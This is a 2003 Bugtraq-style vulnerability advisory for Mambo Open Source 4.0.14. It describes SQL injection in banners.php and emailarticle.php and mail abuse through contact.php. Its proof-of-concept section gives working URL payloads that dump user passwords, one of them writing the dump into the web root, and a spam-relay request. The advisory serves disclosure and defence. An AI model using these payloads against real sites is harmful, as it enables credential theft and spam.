Multiple Mambo Open Source 4.0.14 Server Vulnerabilities

BID:8647

Info

Multiple Mambo Open Source 4.0.14 Server Vulnerabilities

Bugtraq ID: 8647
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 18 2003 12:00AM
Updated: Sep 18 2003 12:00AM
Credit: The disclosure of this issue has been credited to Lifo Fifo <[email protected]>.
Vulnerable: Mambo Mambo Site Server 4.0.14
Not Vulnerable:

Discussion

Multiple Mambo Open Source 4.0.14 Server Vulnerabilities

It has been reported that Mambo Open Source Server is prone to multiple input validation vulnerabilities that may allow remote attackers to inject malicious SQL syntax into database queries and send anonymous e-mail to arbitrary users.

The vulnerabilities have been reported to exists in the banners.php, emailfriend/emailarticle.php, and contact.php modules of ths software.

Mambo Open Source Server 4.0.14 has been reported to be prone to this problem, however other versions may be affected as well.

This BID will be divided into individual BIDs when further analysis of the issues is complete.

Exploit / POC

Multiple Mambo Open Source 4.0.14 Server Vulnerabilities

The following proof of concept has been provided:

http://www.example.com/mambo/banners.php?op=click&bid=100 UNION select password from mos_users where 1=1 into outfile 'c:/apache2/htdocs/mos.txt'

http://www.example.com/mambo/emailfriend/emailarticle.php?submit=submit&[email protected]&[email protected]&id=100 UNION select username,email,password from mos_users where id=1

http://localhost/mambo/contact.php?op=sendmail&text=this is spam&from=none&name=Admin&[email protected]&sitename=www.example.com

Solution / Fix

Multiple Mambo Open Source 4.0.14 Server Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Multiple Mambo Open Source 4.0.14 Server Vulnerabilities

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